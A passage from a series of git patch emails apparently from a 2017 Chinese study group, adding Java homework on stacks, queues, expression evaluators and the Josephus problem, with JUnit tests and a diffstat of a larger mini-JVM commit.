index 0000000000..a0ca0bda4b
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/MyInfixExpr.java
@@ -0,0 +1,75 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Stack;
+
+public class MyInfixExpr {
+	//操作数为整数，操作符只支持+、-、*、/，/的返回值为float类型
+	private String expr = "";
+	private char[] sc = null;
+	private int pos = 0;
+	
+	public MyInfixExpr(String expr) {
+		this.expr = expr;
+		this.sc = expr.toCharArray();
+	}
+	
+	//下一个操作数
+	private int nextOperand(){
+		int result = sc[pos] - 48;//char:'0'-->int:0
+		pos++;
+		while(pos < sc.length && sc[pos] >= '0' && sc[pos] <= '9'){
+			result = result * 10 + (sc[pos] - 48);
+			pos++;
+		}
+		return result;
+	}
+	
+	//下一个操作符
+	private char nextOperator(){
+		return sc[pos++];
+	}
+
+	public float evaluate() {		
+		Stack<Number> stack = this.multiplyDivide();
+		float result = add(stack);
+		return result;
+	}
+	
+	//将栈内所有操作数相加
+	private float add(Stack<Number> stack){
+		if(stack == null || stack.isEmpty()){
+			return 0;
+		}
+		
+		float result = 0;
+		while(!stack.isEmpty()){
+			result = result + (float)stack.pop();
+		}
+		return result;
+	}
+	
+	//操作数入栈，完成乘除运算，'-'随数入栈
+	private Stack<Number> multiplyDivide(){
+		Stack<Number> operandStack = new Stack<Number>();
+		operandStack.push((float)this.nextOperand());
+		int tempOperand = 0;
+		char tempOperator = 0;
+		while(pos < sc.length){
+			tempOperator = this.nextOperator();
+			tempOperand = this.nextOperand();
+			if(tempOperator == '+'){
+				operandStack.push((float)tempOperand);
+			}else if(tempOperator == '-'){
+				operandStack.push((float)(- tempOperand));
+			}else if(tempOperator == '*'){
+				float top = (float)operandStack.pop();
+				operandStack.push(top * tempOperand);
+			}else if(tempOperator == '/'){
+				float top = (float)operandStack.pop();
+				operandStack.push(top / tempOperand);
+			}
+		}
+		
+		return operandStack;
+	}
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/PostfixExpr.java b/group04/1299310140/src/com/coding/basic/stack/expr/PostfixExpr.java
new file mode 100644
index 0000000000..f034a4bed7
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/PostfixExpr.java
@@ -0,0 +1,32 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PostfixExpr {
+String expr = null;
+	
+	public PostfixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> expr_LToken = parser.parse(this.expr);
+		
+		Stack<Float> operandStack_SF = new Stack<Float>();
+		for(Token token : expr_LToken){
+			if(token.isNumber()){
+				operandStack_SF.push(new Float(token.getIntValue()));
+			}else{
+				Float f2 = operandStack_SF.pop();
+				Float f1 = operandStack_SF.pop();
+				Float result = CalculateUtil.calculate(token.toString(), f1, f2);
+				operandStack_SF.push(result);
+			}
+		}
+		return operandStack_SF.pop().floatValue();
+	}
+	
+	
+}
diff --git a/group04/1299310140/src/com/coding/basic/stack/expr/PrefixExpr.java b/group04/1299310140/src/com/coding/basic/stack/expr/PrefixExpr.java
new file mode 100644
index 0000000000..e3cf5d3feb
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/stack/expr/PrefixExpr.java
@@ -0,0 +1,38 @@
+package com.coding.basic.stack.expr;
+
+import java.util.List;
+import java.util.Stack;
+
+public class PrefixExpr {
+	String expr = null;
+	
+	public PrefixExpr(String expr) {
+		this.expr = expr;
+	}
+
+	public float evaluate() {
+		TokenParser parser = new TokenParser();
+		List<Token> expr_LToken = parser.parse(this.expr);
+		
+		Stack<Token> expr_SToken = new Stack<Token>();
+		for(Token token : expr_LToken){
+			expr_SToken.push(token);
+		}
+		
+		Stack<Float> operandStack_SF = new Stack<Float>();
+		while(!expr_SToken.isEmpty()){
+			Token token = expr_SToken.pop();
+			if(token.isNumber()){
+				operandStack_SF.push(new Float(token.getIntValue()));
+			}else{
+				Float f1 = operandStack_SF.pop();
+				Float f2 = operandStack_SF.pop();
+				Float result = CalculateUtil.calculate(token.toString(), f1, f2);
+				operandStack_SF.push(result);
+			}
+		}
+		return operandStack_SF.pop().floatValue();
+	}
+	
+	
+}

From 2603de00d105c6be27b6e925c2e54ebc4501d4b9 Mon Sep 17 00:00:00 2001
From: x_zhaohu <x_zhaohu@163.com>
Date: Sun, 7 May 2017 18:26:27 +0800
Subject: [PATCH 217/262] week11, JVM(6)

---
 group11/1178243325/week11/build.gradle        |   9 ++
 group11/1178243325/week11/readme.md           |  11 ++
 .../java/com/sprint/datastructure/Queue.java  |  54 ++++++++
 .../sprint/datastructure/QuickMinStack.java   |  56 ++++++++
 .../datastructure/StackWithTwoQueues.java     |  43 +++++++
 .../datastructure/TwoStackInOneArray.java     | 120 ++++++++++++++++++
 .../datastructure/QuickMinStackTest.java      |  18 +++
 .../datastructure/StackWithTwoQueuesTest.java |  18 +++
 .../datastructure/TwoStackInOneArrayTest.java |  34 +++++
 9 files changed, 363 insertions(+)
 create mode 100644 group11/1178243325/week11/build.gradle
 create mode 100644 group11/1178243325/week11/readme.md
 create mode 100644 group11/1178243325/week11/src/main/java/com/sprint/datastructure/Queue.java
 create mode 100644 group11/1178243325/week11/src/main/java/com/sprint/datastructure/QuickMinStack.java
 create mode 100644 group11/1178243325/week11/src/main/java/com/sprint/datastructure/StackWithTwoQueues.java
 create mode 100644 group11/1178243325/week11/src/main/java/com/sprint/datastructure/TwoStackInOneArray.java
 create mode 100644 group11/1178243325/week11/src/test/java/com/sprint/datastructure/QuickMinStackTest.java
 create mode 100644 group11/1178243325/week11/src/test/java/com/sprint/datastructure/StackWithTwoQueuesTest.java
 create mode 100644 group11/1178243325/week11/src/test/java/com/sprint/datastructure/TwoStackInOneArrayTest.java

diff --git a/group11/1178243325/week11/build.gradle b/group11/1178243325/week11/build.gradle
new file mode 100644
index 0000000000..c4da624f95
--- /dev/null
+++ b/group11/1178243325/week11/build.gradle
@@ -0,0 +1,9 @@
+apply plugin: 'java'
+
+repositories {
+	mavenCentral()
+}
+
+dependencies {
+	testCompile("junit:junit:4.12")
+}
diff --git a/group11/1178243325/week11/readme.md b/group11/1178243325/week11/readme.md
new file mode 100644
index 0000000000..bfd7dcf47c
--- /dev/null
+++ b/group11/1178243325/week11/readme.md
@@ -0,0 +1,11 @@
+## 讲课内容：
+
+## 第11周作业（05-01 至 05-07)
+- 数据结构,实现QuickMinStack.java, StackWithTwoQueues.java,TwoStackInOneArray.java
+- 写一篇文章
+
+## 完成情况：
+- end
+
+## 我的收获：
+其实最难是坚持
diff --git a/group11/1178243325/week11/src/main/java/com/sprint/datastructure/Queue.java b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/Queue.java
new file mode 100644
index 0000000000..e7c14ac30e
--- /dev/null
+++ b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/Queue.java
@@ -0,0 +1,54 @@
+package com.sprint.datastructure;
+
+import java.util.NoSuchElementException;
+public class Queue<E> {
+	private Node<E> first;
+	private Node<E> last;
+	private int size;
+
+	private static class Node<E> {
+		private E item;
+		private Node<E> next;
+	}
+
+	public Queue() {
+		first = null;
+		last = null;
+		size = 0;
+	}
+
+	public boolean isEmpty() {
+		return first == null;
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public void enQueue(E data) {
+		Node<E> oldLast = last;
+		last = new Node<E>();
+		last.item = data;
+		last.next = null;
+		if (isEmpty()) {
+			first = last;
+		} else {
+			oldLast.next = last;
+		}
+		size++;
+	}
+
+	public E deQueue() {
+		if (isEmpty()) {
+			throw new NoSuchElementException("Queue underflow");
+		}	
+		E item = first.item;
+		first = first.next;
+		size--;
+		if (isEmpty()) {
+			last = null;
+		}
+		return item;
+	}
+
+}
diff --git a/group11/1178243325/week11/src/main/java/com/sprint/datastructure/QuickMinStack.java b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/QuickMinStack.java
new file mode 100644
index 0000000000..03dd5a02fb
--- /dev/null
+++ b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/QuickMinStack.java
@@ -0,0 +1,56 @@
+package com.sprint.datastructure;
+
+import java.util.Stack;
+import java.util.EmptyStackException;
+/**
+ * 设计一个栈，支持栈的push和pop操作，以及第三种操作findMin, 它返回改数据结构中的最小元素
+ * finMin操作最坏的情形下时间复杂度应该是O(1) ， 简单来讲，操作一次就可以得到最小值
+ *
+ */
+public class QuickMinStack {
+
+	Stack<Integer> stack = new Stack<>();
+	int minValue;
+
+	public void push(int data){
+		if (isEmpty()) {
+			minValue = data;
+		}
+		if (minValue > data) {
+			minValue = data;
+		}
+		stack.push(data);
+	}
+
+	public int pop(){
+		if (isEmpty()) {
+			throw new EmptyStackException();
+		}
+		int top = stack.pop();
+		if (top == minValue && !isEmpty()) {
+			minValue = getMinValue(stack);
+		}
+		return top;
+	}
+
+	public int findMin(){
+		return minValue;
+	}
+
+	private boolean isEmpty() {
+		return stack.size() == 0; 
+	}
+
+	private int getMinValue(Stack<Integer> stack) {
+		Stack<Integer> stack1 = stack;	
+		int min = stack1.pop();
+		while (!isEmpty()) {
+			int value = stack1.pop();
+			if (min > value) {
+				min = value;
+			}
+		}
+		return min;
+	}
+}
+
diff --git a/group11/1178243325/week11/src/main/java/com/sprint/datastructure/StackWithTwoQueues.java b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/StackWithTwoQueues.java
new file mode 100644
index 0000000000..e95bdee501
--- /dev/null
+++ b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/StackWithTwoQueues.java
@@ -0,0 +1,43 @@
+package com.sprint.datastructure;
+
+import java.util.EmptyStackException;
+public class StackWithTwoQueues {
+	
+	Queue queue1;
+	Queue queue2;
+
+	public StackWithTwoQueues() {
+		queue1 = new Queue();
+		queue2 = new Queue();
+
+	}
+
+	public void push(int data) {
+		queue1.enQueue(data);		
+	}
+
+	public int pop() {
+		if (queue1.isEmpty()) {
+			throw new EmptyStackException();
+		}
+		int top = getTop();
+		return top;
+	}
+
+	private int getTop() {
+		int length = queue1.size() - 1; //小bug:queue.size()
+		for (int i = 0; i < length; i++) {
+			queue2.enQueue(queue1.deQueue());
+
+		}
+		int top = (int)queue1.deQueue();
+		queue2ToQueue1();
+		return top;
+	}
+
+	private void queue2ToQueue1() {
+		while (!queue2.isEmpty()) {
+			queue1.enQueue(queue2.deQueue());
+		}
+	}
+}
diff --git a/group11/1178243325/week11/src/main/java/com/sprint/datastructure/TwoStackInOneArray.java b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/TwoStackInOneArray.java
new file mode 100644
index 0000000000..0dcc41d1bf
--- /dev/null
+++ b/group11/1178243325/week11/src/main/java/com/sprint/datastructure/TwoStackInOneArray.java
@@ -0,0 +1,120 @@
+package com.sprint.datastructure;
+
+import java.util.EmptyStackException;
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ *
+ */
+public class TwoStackInOneArray {
+	Object[] data;
+	int capacity;
+	int front;
+	int rear;
+
+	public TwoStackInOneArray() {
+		data = new Object[10];
+		front = 0;
+		rear = 9;
+		capacity = 10;
+	}	
+
+	/**
+	 * 向第一个栈中压入元素
+	 * @param o
+	 */
+	public void push1(Object o){
+		if (front == rear) {
+			expandCapacity(capacity * 2 + 1);
+		}
+		data[front] = o;
+		front++;
+	}
+
+	private void expandCapacity(int newCapacity) {
+		Object[] old = data;
+		//将old中数据转移到data中
+		data = new Object[newCapacity];
+		//将前栈数据复制进去
+		for (int i = 0; i < front; i++) {
+			data[i] = old[i];
+		}
+		//将后栈数据复制进去
+		int size = this.capacity - rear - 1;
+		for (int i = 0; i < size; i++) {
+			data[newCapacity - 1] = old[capacity - 1];
+		}
+		capacity = newCapacity;
+		rear = newCapacity - size - 1;
+	}
+	/**
+	 * 从第一个栈中弹出元素
+	 * @return
+	 */
+	public Object pop1(){
+		Object old = null;
+		if (front <= 0) {
+			throw new EmptyStackException();
+		} 
+		old = data[--front];
+		data[front] = null;
+		return old;
+	}
+	
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek1(){
+		if (front == 0)
+			return null;
+		//返回data[0]
+		int header = (int)data[0];
+		//将前栈元素前移
+/*		for (int i = 1; i < front; i++) {
+			data[i - 1] = data[i];
+		}
+		front--;
+*/
+		return header;
+	}
+
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o){
+		if (front == rear) {
+			expandCapacity(capacity * 2 + 1);
+		}
+		data[rear] = o;
+		rear--;
+	}
+
+	/**
+	 * 从第二个栈弹出元素
+	 * @return
+	 */
+	public Object pop2(){
+		Object old = null;
+		if (rear >= capacity - 1) {
+			throw new EmptyStackException();
+		} 
+		old = data[++rear];
+		data[rear] = null;
+		return old;
+	}
+
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * @return
+	 */
+	
+	public Object peek2(){
+		if (rear >= capacity - 1)
+			return null;
+		int header = (int)data[capacity - 1];
+		return header;
+	}
+	
+}
diff --git a/group11/1178243325/week11/src/test/java/com/sprint/datastructure/QuickMinStackTest.java b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/QuickMinStackTest.java
new file mode 100644
index 0000000000..7860868c1a
--- /dev/null
+++ b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/QuickMinStackTest.java
@@ -0,0 +1,18 @@
+package com.sprint.datastructure;
+
+import org.junit.Test;
+public class QuickMinStackTest {
+	
+	
+	@Test
+	public void test() {
+		QuickMinStack stack = new QuickMinStack();
+		stack.push(8);
+		stack.push(9);
+		stack.push(7);
+		stack.push(2);
+		stack.pop();
+
+		System.out.println(stack.findMin());
+	}
+}
diff --git a/group11/1178243325/week11/src/test/java/com/sprint/datastructure/StackWithTwoQueuesTest.java b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..647034d970
--- /dev/null
+++ b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/StackWithTwoQueuesTest.java
@@ -0,0 +1,18 @@
+package com.sprint.datastructure;
+
+import org.junit.Assert;
+import org.junit.Test;
+public class StackWithTwoQueuesTest {
+
+	@Test
+	public void test() {
+		StackWithTwoQueues stack = new StackWithTwoQueues();
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		
+		Assert.assertEquals(3, stack.pop());
+		Assert.assertEquals(2, stack.pop());
+		Assert.assertEquals(1, stack.pop());
+	}
+}
diff --git a/group11/1178243325/week11/src/test/java/com/sprint/datastructure/TwoStackInOneArrayTest.java b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..aff1d82a95
--- /dev/null
+++ b/group11/1178243325/week11/src/test/java/com/sprint/datastructure/TwoStackInOneArrayTest.java
@@ -0,0 +1,34 @@
+package com.sprint.datastructure;
+
+import org.junit.Assert;
+import org.junit.Test;
+public class TwoStackInOneArrayTest {
+	
+	TwoStackInOneArray stack = new TwoStackInOneArray();
+	@Test
+	public void testStack() {
+		//测试前栈push , pop 并扩荣
+		for (int i = 0; i < 20; i++) {
+			System.out.println(i);
+			stack.push1(i);
+		}
+		Assert.assertEquals(0, stack.peek1());
+		Assert.assertEquals(21, stack.capacity);
+		stack.push2(0);
+		stack.push2(1);
+		stack.push2(2);
+		stack.push2(3);
+		System.out.println("Stack的容量:" + stack.capacity);
+		
+		Assert.assertEquals(19, stack.pop1());
+		Assert.assertEquals(3, stack.pop2());
+		
+		Assert.assertEquals(0, stack.peek2());
+	}
+
+	@Test
+	public void testRearStack() {
+		//原来不同的＠Test里面会会重新初始化stack.
+	}
+
+}

From 74f951661fe8723cb78cdb6d8428e6101c211182 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Sun, 7 May 2017 18:26:35 +0800
Subject: [PATCH 218/262] CircleQueue&&Josephus&&QueueWithTwoStacks

---
 .../com/coding/basic/queue/CircleQueue.java   | 61 +++++++++++++++++++
 .../src/com/coding/basic/queue/Josephus.java  | 37 +++++++++++
 .../basic/queue/QueueWithTwoStacks.java       | 47 ++++++++++++++
 3 files changed, 145 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/queue/CircleQueue.java
 create mode 100644 group04/1299310140/src/com/coding/basic/queue/Josephus.java
 create mode 100644 group04/1299310140/src/com/coding/basic/queue/QueueWithTwoStacks.java

diff --git a/group04/1299310140/src/com/coding/basic/queue/CircleQueue.java b/group04/1299310140/src/com/coding/basic/queue/CircleQueue.java
new file mode 100644
index 0000000000..0c61bbfae6
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/queue/CircleQueue.java
@@ -0,0 +1,61 @@
+package com.coding.basic.queue;
+
+/**
+ * 用数组实现循环队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class CircleQueue <E> {
+	
+	private final static int DEFAULT_SIZE = 10;
+	
+	//用数组来保存循环队列的元素
+	private Object[] elementData = new Object[DEFAULT_SIZE] ;
+	
+	//队头
+	private int front = 0;  
+	//队尾  
+	private int rear = 0;//指向下一个空位
+	//实际大小
+	private int size = 0;
+	
+	public CircleQueue(int i) {
+		this.elementData = new Object[i];
+	}
+	
+	public boolean isEmpty() {
+		return size == 0;
+    }
+	
+	public boolean isFull() {	
+		return size == elementData.length;
+	}
+	
+    public int size() {
+        return size;
+    }
+    
+    public void enQueue(E data) {
+        if(isFull()){
+        	throw new RuntimeException("The queue is full!!!");
+        }
+        
+        elementData[rear] = data;
+        rear = (rear + 1) % elementData.length;
+        size++;
+    }
+    
+    public E deQueue() {
+    	if(isEmpty()){
+    		throw new RuntimeException("The queue is empty!!!");
+    	}
+    	
+    	E result = (E) elementData[front];
+    	elementData[front] = null;
+    	front = (front + 1) % elementData.length;
+    	size--;
+        return result;
+    }
+    
+}
diff --git a/group04/1299310140/src/com/coding/basic/queue/Josephus.java b/group04/1299310140/src/com/coding/basic/queue/Josephus.java
new file mode 100644
index 0000000000..d0c1f2ca79
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/queue/Josephus.java
@@ -0,0 +1,37 @@
+package com.coding.basic.queue;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * 用Queue来实现Josephus问题
+ * 在这个古老的问题当中， N个深陷绝境的人一致同意用这种方式减少生存人数：  N个人围成一圈（位置记为0到N-1）， 并且从第一个人报数， 报到M的人会被杀死， 直到最后一个人留下来
+ * 该方法返回一个List， 包含了被杀死人的次序
+ * @author liuxin
+ *
+ */
+public class Josephus {
+	
+	public static List<Integer> execute(int n, int m){
+		
+		Queue queue = new Queue();
+		for(int i = 0;i < n;i++){
+			queue.enQueue(i);
+		}
+		
+		int temp = 0;
+		List<Integer> result = new ArrayList<Integer>();
+		while(!queue.isEmpty()){
+			temp = (temp + 1) % m;
+			Object queueFirst = queue.deQueue();
+			if(temp == 0){
+				result.add((Integer) queueFirst);
+			}else{
+				queue.enQueue(queueFirst);
+			}
+		}
+		
+		return result;
+	}
+	
+}
diff --git a/group04/1299310140/src/com/coding/basic/queue/QueueWithTwoStacks.java b/group04/1299310140/src/com/coding/basic/queue/QueueWithTwoStacks.java
new file mode 100644
index 0000000000..4776c06513
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/queue/QueueWithTwoStacks.java
@@ -0,0 +1,47 @@
+package com.coding.basic.queue;
+
+import java.util.Stack;
+
+/**
+ * 用两个栈来实现一个队列
+ * @author liuxin
+ *
+ * @param <E>
+ */
+public class QueueWithTwoStacks<E> {
+	private Stack<E> stack1;    
+    private Stack<E> stack2;    
+    
+    public QueueWithTwoStacks() {
+        stack1 = new Stack<E>();
+        stack2 = new Stack<E>();
+    }
+    
+    public boolean isEmpty() {
+        return stack1.isEmpty() && stack2.isEmpty();
+    }
+    
+    public int size() {
+        return stack1.size() + stack2.size();   
+    }
+    
+    public void enQueue(E item) {
+        stack1.push(item);
+    }
+    
+    public E deQueue() {
+    	if(this.isEmpty()){
+    		return null;
+    	}
+    	
+    	if(stack2.isEmpty()){
+    		while(!stack1.isEmpty()){
+    			stack2.push(stack1.pop());
+    		}
+    	}
+    	
+    	return stack2.pop();
+    }
+    
+ }
+

From 28cf46b6ba84b3a1142b9f835c6241ad339ffcca Mon Sep 17 00:00:00 2001
From: Pan <gqp201210@gmail.com>
Date: Sun, 7 May 2017 18:39:23 +0800
Subject: [PATCH 219/262] =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../src/main/java/com/pan/basic/Stack.java    |  25 +
 .../com/pan/download}/DownloadThread.java     |   6 +-
 .../com/pan/download}/FileDownloader.java     |   9 +-
 .../com/pan/download}/api/Connection.java     |   2 +-
 .../pan/download/api/ConnectionException.java |   5 +
 .../pan/download}/api/ConnectionManager.java  |   2 +-
 .../pan/download}/api/DownloadListener.java   |   2 +-
 .../pan/download}/impl/ConnectionImpl.java    |   6 +-
 .../download}/impl/ConnectionManagerImpl.java |   8 +-
 .../java/com/pan/litestruts}/JaxpDomUtil.java |   2 +-
 .../java/com/pan/litestruts}/LoginAction.java |   2 +-
 .../main/java/com/pan/litestruts}/Struts.java |   3 +-
 .../main/java/com/pan/litestruts}/View.java   |   2 +-
 .../main/java/com/pan/queue/CircleQueue.java  |  46 ++
 .../src/main/java/com/pan/queue/Josephus.java |  39 ++
 .../src/main/java/com/pan/queue/Queue.java    |  61 +++
 .../com/pan/queue/QueueWithTwoStacks.java     |  55 ++
 .../java/com/pan/stack/QuickMinStack.java     |  19 +
 .../com/pan/stack/StackWithTwoQueues.java     |  16 +
 .../com/pan/stack/TwoStackInOneArray.java     |  57 ++
 .../com/pan/stack/expr/CalculateUtil.java     |  27 +
 .../java/com/pan/stack/expr/InfixExpr.java    |  56 ++
 .../com/pan/stack/expr/InfixToPostfix.java    |  40 ++
 .../java/com/pan/stack/expr/PostfixExpr.java  |  32 ++
 .../java/com/pan/stack/expr/PrefixExpr.java   |  38 ++
 .../main/java/com/pan/stack/expr/Token.java   |  53 ++
 .../java/com/pan/stack/expr/TokenParser.java  |  57 ++
 .../com/pan/download}/FileDownloaderTest.java |   7 +-
 .../com/pan/linklist}/LRUPageFrameTest.java   |   6 +-
 .../java/com/pan/litestruts}/StrutsTest.java  |   2 +-
 .../java/com/pan/queue/CircleQueueTest.java   |  44 ++
 .../test/java/com/pan/queue/JosephusTest.java |  27 +
 .../java/com/pan/stack}/StackUtilTest.java    |   7 +-
 .../com/pan/stack/expr/InfixExprTest.java     |  52 ++
 .../pan/stack/expr/InfixToPostfixTest.java    |  41 ++
 .../com/pan/stack/expr/PostfixExprTest.java   |  41 ++
 .../com/pan/stack/expr/PrefixExprTest.java    |  45 ++
 .../com/pan/stack/expr/TokenParserTest.java   |  41 ++
 group11/252308879/dataStructure/.gitignore    |  10 -
 group11/252308879/dataStructure/pom.xml       |  35 --
 .../org/pan/coding2017/array/ArrayUtil.java   | 282 ----------
 .../org/pan/coding2017/basic/ArrayList.java   | 212 --------
 .../pan/coding2017/basic/BinaryTreeNode.java  |  76 ---
 .../org/pan/coding2017/basic/Iterator.java    |  12 -
 .../org/pan/coding2017/basic/LinkedList.java  | 121 -----
 .../java/org/pan/coding2017/basic/List.java   |  14 -
 .../java/org/pan/coding2017/basic/Queue.java  |  50 --
 .../java/org/pan/coding2017/basic/Stack.java  |  51 --
 .../java/org/pan/coding2017/basic/Stack2.java |  47 --
 .../org/pan/coding2017/basic2/LinkedList.java | 429 ---------------
 .../api/ConnectionException.java              |   7 -
 .../src/main/resources/struts.xml             |  11 -
 .../pan/coding2017/TestJavaUtilArrayList.java |  31 --
 .../pan/coding2017/array/ArrayUtilTest.java   |  89 ----
 .../pan/coding2017/basic/ArrayListTest.java   |  74 ---
 .../coding2017/basic/BinaryTreeNodeTest.java  |  38 --
 .../pan/coding2017/basic/LinkedListTest.java  |  80 ---
 .../org/pan/coding2017/basic/QueueTest.java   |  44 --
 .../org/pan/coding2017/basic/StackTest.java   |  45 --
 .../main/java/com/pan/alg/LRUPageFrame.java   | 133 -----
 .../src/main/java/com/pan/alg/StackUtil.java  | 141 -----
 .../main/java/com/pan/jvm/attr/CodeAttr.java  |   9 +-
 .../main/java/com/pan/jvm/clz/ClassFile.java  |  23 +-
 .../main/java/com/pan/jvm/cmd/BiPushCmd.java  |  32 ++
 .../java/com/pan/jvm/cmd/ByteCodeCommand.java | 152 ++++++
 .../java/com/pan/jvm/cmd/CommandParser.java   | 129 +++++
 .../java/com/pan/jvm/cmd/GetFieldCmd.java     |  38 ++
 .../com/pan/jvm/cmd/GetStaticFieldCmd.java    |  42 ++
 .../com/pan/jvm/cmd/InvokeSpecialCmd.java     |  47 ++
 .../com/pan/jvm/cmd/InvokeVirtualCmd.java     |  86 +++
 .../src/main/java/com/pan/jvm/cmd/LdcCmd.java |  50 ++
 .../java/com/pan/jvm/cmd/NewObjectCmd.java    |  39 ++
 .../java/com/pan/jvm/cmd/NoOperandCmd.java    | 146 ++++++
 .../java/com/pan/jvm/cmd/OneOperandCmd.java   |  27 +
 .../java/com/pan/jvm/cmd/PutFieldCmd.java     |  44 ++
 .../java/com/pan/jvm/cmd/TwoOperandCmd.java   |  67 +++
 .../java/com/pan/jvm/constant/ClassInfo.java  |  12 +-
 .../com/pan/jvm/constant/ConstantInfo.java    |  12 +
 .../com/pan/jvm/constant/ConstantPool.java    |   4 +-
 .../com/pan/jvm/constant/FieldRefInfo.java    |  26 +-
 .../com/pan/jvm/constant/MethodRefInfo.java   |  28 +-
 .../com/pan/jvm/constant/NameAndTypeInfo.java |  24 +-
 .../pan/jvm/constant/NullConstantInfo.java    |   7 +-
 .../java/com/pan/jvm/constant/StringInfo.java |   9 +-
 .../java/com/pan/jvm/constant/UTF8Info.java   |  16 +-
 .../com/pan/jvm/engine/ExecutionResult.java   |  56 ++
 .../com/pan/jvm/engine/ExecutorEngine.java    |  83 +++
 .../main/java/com/pan/jvm/engine/Heap.java    |  39 ++
 .../java/com/pan/jvm/engine/JavaObject.java   |  71 +++
 .../java/com/pan/jvm/engine/MethodArea.java   |  88 ++++
 .../main/java/com/pan/jvm/engine/MiniJVM.java |  28 +
 .../java/com/pan/jvm/engine/OperandStack.java |  26 +
 .../java/com/pan/jvm/engine/StackFrame.java   | 131 +++++
 .../main/java/com/pan/jvm/method/Method.java  |  72 +++
 .../com/pan/jvm/print/ClassFilePrinter.java   |  54 ++
 .../pan/jvm/print/ConstantPoolPrinter.java    |  83 +++
 .../pan/jvm/print/ConstantPoolPrinterBad.java |  40 ++
 .../src/test/java/com/pan/MapForEachTest.java |  30 --
 .../java/com/pan/jvm/ClassFileLoaderTest.java | 496 ++++++++++--------
 .../test/java/com/pan/jvm/MiniJVMTest.java    |  33 ++
 100 files changed, 3048 insertions(+), 2366 deletions(-)
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/basic/Stack.java
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/main/java/com/pan/download}/DownloadThread.java (90%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/main/java/com/pan/download}/FileDownloader.java (92%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/main/java/com/pan/download}/api/Connection.java (89%)
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/download/api/ConnectionException.java
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/main/java/com/pan/download}/api/ConnectionManager.java (78%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload => data-structure/src/main/java/com/pan/download}/api/DownloadListener.java (57%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api => data-structure/src/main/java/com/pan/download}/impl/ConnectionImpl.java (93%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/multThreadDownload/api => data-structure/src/main/java/com/pan/download}/impl/ConnectionManagerImpl.java (62%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/utils => data-structure/src/main/java/com/pan/litestruts}/JaxpDomUtil.java (99%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/parsingXML => data-structure/src/main/java/com/pan/litestruts}/LoginAction.java (95%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/parsingXML => data-structure/src/main/java/com/pan/litestruts}/Struts.java (98%)
 rename group11/252308879/{dataStructure/src/main/java/org/pan/coding2017/parsingXML => data-structure/src/main/java/com/pan/litestruts}/View.java (90%)
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/queue/CircleQueue.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/queue/Josephus.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/queue/Queue.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/queue/QueueWithTwoStacks.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/QuickMinStack.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/StackWithTwoQueues.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/TwoStackInOneArray.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/CalculateUtil.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixExpr.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/InfixToPostfix.java
 create mode 100644 group11/252308879/data-structure/src/main/java/com/pan/stack/expr/PostfixExpr.java
